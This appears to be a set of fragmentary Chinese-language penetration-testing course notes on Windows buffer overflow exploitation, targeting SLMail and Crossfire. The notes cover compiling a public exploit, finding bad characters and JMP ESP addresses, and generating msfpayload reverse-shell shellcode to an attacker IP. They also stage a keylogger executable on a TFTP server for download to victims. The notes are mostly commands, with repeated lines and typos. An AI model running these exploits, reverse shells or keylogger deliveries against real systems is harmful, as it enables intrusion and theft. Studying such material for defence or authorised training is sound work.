TFTP
·mkdir /tftp
·chown -R nobody /tftp/ //这样别人才能下载
cp /usr/share/windos-binaries/klogger.exe /tftp/
atftpd --daemon --port 69 /tftp
TFTP
·mkdir /tftp
·chown -R nobody /tftp/ //这样别人才能下载
cp /usr/share/windos-binaries/klogger.exe /tftp/
atftpd --daemon --port 69 /tftp
wine32 sl.exe 192.168.1.119
非交互模式shell
·类NC远程控制shell
网上公开的EXP代码
·选择可信赖的EXP源
·Exploit-ab
·SecurityFocus
·Searchsploit
apt-get install mingw32 //用于在Linux系统上编译windos程序的模块
apkg-add-architecture i386 && apt-get update && apt-get install wine32 //在Linux系统上运行windos程序的中间层
i586-mingw32msvc-gcc 646.c -lws2_32 -o sl.exe
不同操作系统的EAX地址不同
/usr/share/metasploit--framework/tools/nasm_shell.rb
add eax,12
jmp eax
edb --run /usr/games/crossfire/bin/crossfire
//通过edb调试工具调用程序
32位的cpu 和64位的cpu
位数指的是cpu的地址总线的位数
32位是指最大寻址空间为2的32次方
64指的是2的64次方
所以对64位做缓冲区溢出很困难
rdesktop //linux下的远程桌面
regsnap 可以把注册表进行实时快照
find / -name msfpayload
cd /usr/share/framework2/
./msfpayload //用于生成payload
win32_reverse LHOST=192.168.1.117 LPORT=444 C //生成用C语言写的反向连接444端口
win32_reverse LHOST=192.168.1.117 | grep 0d
win32_reverse LHOST=192.168.1.117 R | ./msfencode -b "\x00\x0a\x0d" //-b表示不要
"\x90" 表示不操作
把EIP的内容改成ESP的地址
SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
Rebase ->False
OS这一列必须是True
cd /usr/share/metasploit-framework/tools/
./nasm_shell.rb //把汇编语言转换成二进制
jump esp -> FFE4 \xff\xe4
!mona find -s "\xff\xe4"-m openc32.dll
·寻找坏字符
不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途
• 返回地址、Shellcode、buffer中都不能出现坏字符
• null byte (0x00) 空字符,用于终止字符串的拷贝操作
• return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
• 思路:发送0x00 —— 0xff 256个字符,查找所有坏字符
• 0x0A
• 0x0D
内存地址的书写是从右到左的
39694438 ->读的时候 38 44 69 39
/usr/share/metasploit-framework/tools/exploit
pattern_create.rb
pattern_offset.rb
寄存器EIP 存放下一条指令的地址
内存单元以每4个字节为一组来进行存放
缓冲区本质上是内存的片段
import socket 导入socket模块
cp fileName1 fileName2 复制文件内容
罪恶的根源:变量
数据与代码边界不清 ,
如何发现漏洞?
源码审计
逆向工程
模糊测试:
向程序堆栈半随机的数据,根据内存变化判 断溢出
数据生成器:生成随机、半随机的数据,
测试工具:识别出漏洞
mona.py
DEP
多人在线rpg游戏
1.9.0版本接受入站socket连接时存在缓冲区溢出漏洞
edb
网上公开的exp代码
DEP:阻止代码从数据页被执行
ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
| && &也可以
使用cscript命令调用vbscript脚本,和python差不多
传输方式
1.TFTP
2.FTP